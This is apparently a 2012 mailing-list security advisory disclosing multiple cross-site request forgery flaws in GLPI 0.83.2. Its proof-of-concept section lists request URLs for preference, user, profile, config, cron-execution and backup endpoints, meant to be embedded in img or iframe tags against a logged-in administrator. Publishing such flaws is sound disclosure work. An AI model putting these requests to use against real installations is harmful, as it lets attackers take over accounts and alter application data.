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Date: Thu, 12 Jul 2012 15:21:26 +0530 From: "Prajal Kulkarni" <PrajalKM@...roland.com> To: "full-disclosure" <full-disclosure@...ts.grok.org.uk>, "bugtraq" <bugtraq@...urityfocus.com>, <secalert@...urityreason.com>, <bugs@...uritytracker.com>, "vuln" <vuln@...unia.com>, <vuln@...urity.nnov.ru>, <news@...uriteam.com>, <moderators@...db.org>, <submissions@...ketstormsecurity.org>, <submit@...ecurity.com>, <oss-security@...ts.openwall.com>, <bugs@...uritytracker.com> Subject: Multiple CSRF Vulnerabilities in [GLPI Version 0.83.2] Hi, This is regarding multiple CSRF (Cross Site Request Forgery) Vulnerabilities in [GLPI Version 0.83.2]. The following is the disclosure document: Title: Multiple CSRF Vulnerabilities in [GLPI Version 0.83.2] ------------------------------------------------------------------------ ------------------------------------------------------------------------ Project: [GLPI Version 0.83.2] Severity: High Versions: 0.83.2 (other versions may be affected) Exploit type: Multiple CSRF Fixed: New release GLPI 0.83.3 ------------------------------------------------------------------------ ------------------------------------------------------------------------ Timeline: 27 June 2012: Vendor Contacted 27 June 2010: Vendor Response received 5 July 2012: Vendor releases new version ------------------------------------------------------------------------ ------------------------------------------------------------------------ Product Description: GLPI is the Information Resource-Manager with an additional Administration- Interface. You can use it to build up a database with an inventory for your company (computer, software, printers...). It has enhanced functions to make the daily life for the administrators easier, like a job-tracking-system with mail-notification and methods to build a database with basic information about your network-topology. (Source: http://www.glpi-project.org/spip.php?article43) ------------------------------------------------------------------------ ------------------------------------------------------------------------ Affected Files/Locations/Modules: /glpi/front ------------------------------------------------------------------------ ------------------------------------------------------------------------ Vulnerability Details: An attacker can execute functions as an authenticated user by tricking a user into making requests to the Server. The attack works by including a link or script in a page that accesses a site to which the user is known (or is supposed) to have been authenticated. Successful exploitation of these vulnerabilities could result in, but not limited to, compromise of the application, theft of cookie-based authentication credentials, arbitrary page redirection, disclosure or modification of sensitive data and phishing attacks. Since the vulnerabilities also exist in the administrative module, a successful attack could cause a complete compromise of the entire application. An attacker can send a link with the exploit to an administrator whose access could compromise the application. ------------------------------------------------------------------------ ------------------------------------------------------------------------ Proof of Concept: Create a html content (img, iframes etc.) with the following PoC URLs as src and host for the authenticated victim. Eg URL: http://localhost/glpi/front/preference.php?name=glpi&id=2&realname=Attac ker&language=en_GB&use_mode= 0&update=Update More Links: http://localhost/glpi/front/user.form.php?id=3 http://localhost/glpi/front/user.form.php?id=2 http://localhost/glpi/front/user.form.php?id=5 http://localhost/glpi/front/user.form.php?id=4 http://localhost/glpi/front/user.form.php?new=1 http://localhost/glpi/front/profile.form.php?id=3 http://localhost/glpi/front/ruleimportcomputer.form.php http://localhost/glpi/front/popup.php?popup=edit_bookmark http://localhost/glpi/front/group.form.php http://localhost/glpi/front/entity.form.php http://localhost/glpi/front/popup.php http://localhost/glpi/front/auth.settings.php http://localhost/glpi/front/crontask.php?execute=* http://localhost/glpi/front/fieldunicity.form.php http://localhost/glpi/front/config.form.php http://localhost/glpi/front/notificationmailsetting.form.php http://localhost/glpi/front/*?reset=reset http://localhost/glpi/front/backup.php? ------------------------------------------------------------------------ ------------------------------------------------------------------------ Regards, Prajal Kulkarni || Vulnerability Assessment & Penetration Testing Mobile: 9738302731 || <http://www.microland.com/innovation.php> The information transmitted is intended only for the person or entity to which it is addressed and may contain confidential and/or privileged material. Any review, re-transmission, dissemination or other use of or taking of any action in reliance upon,this information by persons or entities other than the intended recipient is prohibited. If you received this in error, please contact the sender and delete the material from your computer. Microland takes all reasonable steps to ensure that its electronic communications are free from viruses. However, given Internet accessibility, the Company cannot accept liability for any virus introduced by this e-mail or any attachment and you are advised to use up-to-date virus checking software. Content of type "text/html" skipped Download attachment "image001.jpg" of type "image/jpeg" (35371 bytes) _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
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